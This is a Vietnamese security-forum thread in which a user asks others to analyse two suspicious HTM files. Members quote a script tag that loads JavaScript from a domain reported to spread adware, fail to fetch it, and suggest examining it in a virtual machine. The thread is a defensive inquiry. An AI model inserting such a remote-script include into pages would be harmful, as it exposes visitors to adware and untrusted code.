banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận hệ điều hành Windows Phân tích giùm em đoạn mã HTML này ạ!  XML
  [Discussion]   Phân tích giùm em đoạn mã HTML này ạ! 18/09/2012 18:28:01 (+0700) | #1 | 269482
[Avatar]
tmb12
Member

[Minus]    0    [Plus]
Joined: 09/07/2012 08:27:54
Messages: 17
Offline
[Profile] [PM]
Mọi người phân tích giùm em đoạn mã HTML trong 2 file HTM dưới đây ạ, em sợ nó là virus quá smilie

README.HTM
http://dl.dropbox.com/u/92549303/README.HTM

SETUP.HTM
http://dl.dropbox.com/u/92549303/SETUP.HTM

Cái dòng cuối đó mn, nó trỏ tới http://www.txwm1204.com là nơi phát tán Adware.Sidebar, em sợ quá mn ơi! smilie
[Up] [Print Copy]
  [Discussion]   Phân tích giùm em đoạn mã HTML này ạ! 19/09/2012 07:14:32 (+0700) | #2 | 269491
[Avatar]
xuanphongdocco
Member

[Minus]    0    [Plus]
Joined: 19/08/2009 08:25:03
Messages: 247
Offline
[Profile] [PM]
Nếu có gì thú vị thì phải nằm trong này <script language=javascript src=http://www.txwm1204.com/tx.js></script>. Mà em không download dc file đó về
[Up] [Print Copy]
  [Discussion]   Phân tích giùm em đoạn mã HTML này ạ! 19/09/2012 15:11:03 (+0700) | #3 | 269506
[Avatar]
tmb12
Member

[Minus]    0    [Plus]
Joined: 09/07/2012 08:27:54
Messages: 17
Offline
[Profile] [PM]

xuanphongdocco wrote:
Nếu có gì thú vị thì phải nằm trong này <script language=javascript src=http://www.txwm1204.com/tx.js></script>. Mà em không download dc file đó về 

Để down file đó về bạn thay tx.js thành txt.js
mn xem giùm em đi, sợ quá mn ơi smilie
[Up] [Print Copy]
  [Discussion]   Phân tích giùm em đoạn mã HTML này ạ! 19/09/2012 15:57:51 (+0700) | #4 | 269509
[Avatar]
xuanphongdocco
Member

[Minus]    0    [Plus]
Joined: 19/08/2009 08:25:03
Messages: 247
Offline
[Profile] [PM]

tmb12 wrote:

xuanphongdocco wrote:
Nếu có gì thú vị thì phải nằm trong này <script language=javascript src=http://www.txwm1204.com/tx.js></script>. Mà em không download dc file đó về 

Để down file đó về bạn thay tx.js thành txt.js
mn xem giùm em đi, sợ quá mn ơi smilie  


Mình đã đổi tên URL trên nhưng vẫn dính 404. Nếu bạn download về dc thì hãy đổi thành .txt và upload lên đâu đó.
[Up] [Print Copy]
  [Discussion]   Phân tích giùm em đoạn mã HTML này ạ! 20/09/2012 22:28:53 (+0700) | #5 | 269572
Zombie
HVA Friend

Joined: 13/12/2002 03:27:34
Messages: 77
Offline
[Profile] [PM]
Lão thử load html đó trên FF gòi dùng Firebug check ngược về script xem sao ?
ps:// cho vô máy ảo or 1 máy cùi nào dùng làm testing mà làm, để có j cài lại máy đó k lo.
[Up] [Print Copy]
  [Discussion]   Phân tích giùm em đoạn mã HTML này ạ! 21/09/2012 16:03:22 (+0700) | #6 | 269606
ilovelife
Member

[Minus]    0    [Plus]
Joined: 19/07/2012 19:42:03
Messages: 17
Offline
[Profile] [PM]
Cái site đấy die rồi bạn à, không lo đâu, còn nếu vẫn sợ thì bạn thử đọc cho mình xem trình duyệt hiện tại của bạn là gì, plugins đang sử dụng, HĐH.
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|